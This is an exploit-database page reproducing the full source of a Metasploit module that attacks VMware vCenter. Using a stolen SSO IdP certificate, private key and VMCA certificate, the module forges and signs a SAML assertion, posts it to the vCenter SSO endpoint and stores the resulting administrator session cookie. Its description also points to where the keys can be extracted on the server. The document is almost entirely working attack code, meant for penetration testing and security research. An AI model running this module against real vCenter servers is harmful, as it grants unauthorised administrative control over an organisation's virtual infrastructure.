Lucene search
+L

VMware vCenter Forge SAML Authentication Credentials

🗓️ 13 May 2022 17:42:53Reported by npm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 224 Views

Forgery of VMware vCenter SAML Authentication

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::WmapScanUniqueQuery
  include Msf::Exploit::Remote::HttpClient

  NS_MAP = {
    'c14n' => 'http://www.w3.org/2001/10/xml-exc-c14n#',
    'ds' => 'http://www.w3.org/2000/09/xmldsig#',
    'saml2' => 'urn:oasis:names:tc:SAML:2.0:assertion',
    'saml2p' => 'urn:oasis:names:tc:SAML:2.0:protocol',
    'md' => 'urn:oasis:names:tc:SAML:2.0:metadata',
    'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
    'xs' => 'http://www.w3.org/2001/XMLSchema'
  }.freeze

  PREFIX_LIST = 'xsd xsi'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware vCenter Forge SAML Authentication Credentials',
        'Description' => %q{
          This module forges valid SAML credentials for vCenter server
          using the vCenter SSO IdP certificate, IdP private key, and
          VMCA certificates as input objects; you must also  provide
          the vCenter SSO domain name and vCenter FQDN. The module will
          return a session cookie for the /ui path that grants access to
          the SSO domain as a vSphere administrator. The IdP trusted
          certificate chain can be retrieved using Metasploit post
          exploitation modules or extracted manually from
          /storage/db/vmware-vmdir/data.mdb using binwalk.
        },
        'Author' => 'npm[at]cesium137.io',
        'Platform' => [ 'linux' ],
        'DisclosureDate' => '2022-04-20',
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/']
        ],
        'Actions' => [
          [
            'Run',
            {
              'Description' => 'Generate vSphere session cookie'
            }
          ]
        ],
        'DefaultAction' => 'Run',
        'DefaultOptions' => {
          'USERNAME' => 'administrator',
          'DOMAIN' => 'vsphere.local',
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ]
        },
        'Privileged' => true
      )
    )

    register_options([
      OptString.new('USERNAME', [ true, 'The username to target using forged credentials', 'administrator' ]),
      OptString.new('DOMAIN', [true, 'The target vSphere SSO domain', 'vsphere.local']),
      OptString.new('VHOST', [true, 'DNS FQDN of the vCenter server']),
      OptPath.new('VC_IDP_CERT', [ true, 'Path to the vCenter IdP certificate' ]),
      OptPath.new('VC_IDP_KEY', [ true, 'Path to the vCenter IdP private key' ]),
      OptPath.new('VC_VMCA_CERT', [ true, 'Path to the vCenter VMCA certificate' ])
    ])

    register_advanced_options([
      OptInt.new('VC_IDP_TOKEN_BEFORE_SKEW', [ true, 'NOT_BEFORE seconds to subtract from current time, values 300 to 2592000', 2592000 ]),
      OptInt.new('VC_IDP_TOKEN_AFTER_SKEW', [ true, 'NOT_AFTER seconds to add to current time, values 300 to 2592000', 2592000 ])
    ])

    deregister_options('Proxies')
  end

  def username
    datastore['USERNAME']
  end

  def domain
    datastore['DOMAIN']
  end

  def vcenter_fqdn
    datastore['VHOST']
  end

  def vc_idp_cert
    datastore['VC_IDP_CERT']
  end

  def vc_idp_key
    datastore['VC_IDP_KEY']
  end

  def vc_vmca_cert
    datastore['VC_VMCA_CERT']
  end

  def vc_token_before_skew
    @vc_token_before_skew ||= datastore['VC_IDP_TOKEN_BEFORE_SKEW']
  end

  def vc_token_after_skew
    @vc_token_after_skew ||= datastore['VC_IDP_TOKEN_AFTER_SKEW']
  end

  def run
    cookie_jar.clear

    validate_domains
    validate_timestamps
    validate_idp_options

    print_status('HTTP GET => /ui/login ...')
    init_vsphere_login

    vprint_status('Create forged SAML assertion XML ...')
    unless (vsphere_saml_response = get_saml_response_template)
      fail_with(Msf::Exploit::Failure::Unknown, 'Unable to generate SAML response XML')
    end

    vprint_status('Sign forged SAML assertion with IdP key ...')
    unless (vsphere_saml_auth = sign_vcenter_saml(vsphere_saml_response))
      fail_with(Msf::Exploit::Failure::Unknown, 'Unable to sign SAML assertion')
    end

    print_status('HTTP POST => /ui/saml/websso/sso ...')
    unless (session_cookie = submit_vcenter_auth(vsphere_saml_auth))
      fail_with(Msf::Exploit::Failure::Unknown, 'Unable to acquire administrator session token')
    end

    print_good('Got valid administrator session token!')
    print_good("\t#{session_cookie}")
  end

  def validate_idp_options
    begin
      idp_cert_file = File.binread(vc_idp_cert)
      idp_key_file = File.binread(vc_idp_key)
      vmca_cert_file = File.binread(vc_vmca_cert)
    rescue StandardError => e
      print_error("File read failure: #{e.class} - #{e.message}")
      fail_with(Msf::Exploit::Failure::BadConfig, 'Error reading certificate files')
    end

    unless (ca = OpenSSL::X509::Certificate.new(vmca_cert_file))
      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid VMCA certificate: #{vc_vmca_cert.path}")
    end

    unless (pub = OpenSSL::X509::Certificate.new(idp_cert_file))
      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP certificate: #{vc_idp_cert.path}")
    end

    unless (priv = OpenSSL::PKey::RSA.new(idp_key_file))
      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP private key: #{vc_idp_key.path}")
    end

    unless pub.check_private_key(priv)
      fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP public and private keys are not associated')
    end

    unless (pub.issuer.to_s == ca.subject.to_s)
      print_error("IdP issuer DN does not match provided VMCA subject DN!\n\t  IdP Issuer DN: #{pub.issuer}\n\tVMCA Subject DN: #{ca.subject}")
      fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid IdP certificate chain')
    end

    unless pub.verify(ca.public_key)
      fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP certificate does not chain to VMCA certificate')
    end

    print_good('Validated vCenter Single Sign-On IdP trusted certificate chain')

    @vcenter_saml_idp_cert = pub
    @vcenter_saml_idp_key = priv
    @vcenter_saml_ca_cert = ca
  end

  def init_vsphere_login
    res = send_request_cgi({
      'uri' => '/ui/login',
      'method' => 'GET'
    })

    unless res
      fail_with(Msf::Exploit::Failure::Unreachable, 'Could not reach SAML endpoint')
    end

    unless res.code == 302
      fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{rhost} - expected HTTP 302, got HTTP #{res.code}")
    end

    datastore['TARGETURI'] = res['location']
    uri = target_uri

    query = queryparse(uri.query || '')

    unless (vsphere_saml_request_query = CGI.unescape(query['SAMLRequest']))
      fail_with(Msf::Exploit::Failure::UnexpectedReply, 'SAMLRequest query parameter was not returned with HTTP GET')
    end

    if !query['RelayState'].nil?
      @vcenter_saml_relay_state = CGI.unescape(query['RelayState'])
      vprint_status("Response included RelayState: #{@vcenter_saml_relay_state}")
    end

    vsphere_saml_request_gz = Base64.strict_decode64(vsphere_saml_request_query)
    vsphere_saml_request = Zlib::Inflate.new(-Zlib::MAX_WBITS).inflate(vsphere_saml_request_gz)

    req = vsphere_saml_request.to_s
    doc = REXML::Document.new(req)

    @vcenter_saml_id = doc.root.attributes['ID'].strip
    @vcenter_saml_issue = doc.root.attributes['IssueInstant'].strip
    @vcenter_saml_user = username.strip
    @vcenter_saml_domain = domain.strip
    @vcenter_saml_response_id = SecureRandom.hex.strip
    @vcenter_saml_assert_id = SecureRandom.uuid.strip
    @vcenter_saml_idx_id = SecureRandom.hex.strip

    @vcenter_saml_not_before = (Time.now.utc - vc_token_before_skew).iso8601.strip
    @vcenter_saml_not_after = (Time.now.utc + vc_token_after_skew).iso8601.strip
  end

  def get_saml_response_template
    template_path = ::File.join(::Msf::Config.data_directory, 'auxiliary', 'vmware', 'vcenter_forge_saml_token', 'assert.xml.erb')
    template = ::File.binread(template_path)

    b = binding

    context = {
      vcenter_fqdn: vcenter_fqdn,
      vcenter_saml_id: @vcenter_saml_id,
      vcenter_saml_issue: @vcenter_saml_issue,
      vcenter_saml_user: username,
      vcenter_saml_domain: domain,
      vcenter_saml_response_id: @vcenter_saml_response_id,
      vcenter_saml_assert_id: @vcenter_saml_assert_id,
      vcenter_saml_idx_id: @vcenter_saml_idx_id,
      vcenter_saml_not_before: @vcenter_saml_not_before,
      vcenter_saml_not_after: @vcenter_saml_not_after
    }

    locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
    b.eval(locals.join)
    body = b.eval(Erubi::Engine.new(template).src)

    body.to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
  end

  def sign_vcenter_saml(xml)
    xmldoc = Nokogiri::XML(xml) do |config|
      config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
    end

    ds_element = REXML::Element.new('ds:Signature').add_namespace('ds', NS_MAP['ds'])
    ds_sig_element = ds_element.add_element('ds:SignedInfo')
    ds_sig_element.add_element('ds:CanonicalizationMethod', { 'Algorithm' => NS_MAP['c14n'] })
    ds_sig_element.add_element('ds:SignatureMethod', { 'Algorithm' => 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256' })
    ds_ref_element = ds_sig_element.add_element('ds:Reference', { 'URI' => "#_#{@vcenter_saml_assert_id}" })
    ds_tx_element = ds_ref_element.add_element('ds:Transforms')
    ds_tx_element.add_element('ds:Transform', { 'Algorithm' => 'http://www.w3.org/2000/09/xmldsig#enveloped-signature' })
    ds_c14_element = ds_tx_element.add_element('ds:Transform', { 'Algorithm' => NS_MAP['c14n'] })
    ds_c14_element.add_element('ec:InclusiveNamespaces', { 'xmlns:ec' => NS_MAP['c14n'], 'PrefixList' => PREFIX_LIST })
    ds_ref_element.add_element('ds:DigestMethod', { 'Algorithm' => 'http://www.w3.org/2001/04/xmlenc#sha256' })

    inclusive_namespaces = PREFIX_LIST.split(' ')
    dest_node = xmldoc.at_xpath('//saml2p:Response/saml2:Assertion', NS_MAP)
    canon_doc = dest_node.canonicalize(Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0, inclusive_namespaces)

    digest_b64 = Base64.strict_encode64(OpenSSL::Digest::SHA256.digest(canon_doc))
    ds_ref_element.add_element('ds:DigestValue').text = digest_b64

    noko_sig_element = Nokogiri::XML(ds_element.to_s) do |config|
      config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
    end

    noko_signed_info_element = noko_sig_element.at_xpath('//ds:Signature/ds:SignedInfo', NS_MAP)
    c14n_string = noko_signed_info_element.canonicalize(Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0)

    signature = Base64.strict_encode64(@vcenter_saml_idp_key.sign('rsa-sha256', c14n_string))
    ds_element.add_element('ds:SignatureValue').text = signature

    key_info_element = ds_element.add_element('ds:KeyInfo')

    x509_element = key_info_element.add_element('ds:X509Data')
    x509_cert_element = x509_element.add_element('ds:X509Certificate')
    x509_cert_element.text = Base64.strict_encode64(@vcenter_saml_idp_cert.to_der)

    x509_element = key_info_element.add_element('ds:X509Data')
    x509_cert_element = x509_element.add_element('ds:X509Certificate')
    x509_cert_element.text = Base64.strict_encode64(@vcenter_saml_ca_cert.to_der)

    noko_signed_signature_element = Nokogiri::XML(ds_element.to_s) do |config|
      config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
    end

    xmldoc.at_xpath('//saml2:Assertion/saml2:Issuer', NS_MAP).add_next_sibling(noko_signed_signature_element.document.root.to_s)

    xmldoc.document.to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
  end

  def submit_vcenter_auth(xml)
    saml_response = Base64.strict_encode64(xml)

    if @vcenter_saml_relay_state
      res = send_request_cgi({
        'uri' => '/ui/saml/websso/sso',
        'method' => 'POST',
        'vars_post' => {
          'SAMLResponse' => saml_response,
          'RelayState' => @vcenter_saml_relay_state
        },
        'keep_cookies' => true
      })
    else
      res = send_request_cgi({
        'uri' => '/ui/saml/websso/sso',
        'method' => 'POST',
        'vars_post' => {
          'SAMLResponse' => saml_response
        },
        'keep_cookies' => true
      })
    end

    unless res
      fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost} - could not reach SAML endpoint")
    end

    unless res.code == 302
      if res.body.to_s != ''
        res_html = Nokogiri::HTML(res.body.to_s)
        res_detail = res_html.at("//div[@class='error-message']").text.gsub('..', '.')
        if res_detail
          print_error("Response: #{res_detail}")
        else
          print_error("Unable to interpret response from vCenter. Raw response:\n#{res}")
        end
      end
      fail_with(Msf::Exploit::Failure::UnexpectedReply, "Expected HTTP 302, got HTTP #{res.code}")
    end

    cookie_jar.cookies.each do |c|
      print_status("Got cookie: #{c.name}=#{c.value}")
    end

    @vcenter_saml_token = res.get_cookies_parsed.values.select { |v| v.to_s.include?('JSESSIONID') }.first.first
    @vcenter_saml_path = res.get_cookies_parsed.values.select { |v| v.to_s.include?('Path') }.first.first

    extra_service_data = {
      origin_type: :service,
      realm_key: Metasploit::Model::Realm::Key::WILDCARD,
      realm_value: domain
    }.merge(service_details)

    store_valid_credential(user: "JSESSIONID (#{@vcenter_saml_path})", private: @vcenter_saml_token, service_data: extra_service_data)

    "JSESSIONID=#{@vcenter_saml_token}; Path=#{@vcenter_saml_path}"
  end

  def validate_domains
    unless validate_fqdn(vcenter_fqdn)
      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter FQDN provided: #{vcenter_fqdn}")
    end

    unless validate_fqdn(domain)
      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter SSO domain provided: #{domain}")
    end
  end

  def validate_timestamps
    unless (vc_token_before_skew >= 300) && (vc_token_after_skew >= 300)
      fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be less than 300 seconds')
    end
    unless (vc_token_before_skew <= 2592000) && (vc_token_after_skew <= 2592000)
      fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be greater than 2592000 seconds')
    end
  end

  def validate_fqdn(fqdn)
    fqdn_regex = /(?=^.{4,253}$)(^((?!-)[a-z0-9-]{0,62}[a-z0-9]\.)+[a-z]{2,63}$)/
    return true if fqdn_regex.match?(fqdn.to_s.downcase)

    false
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation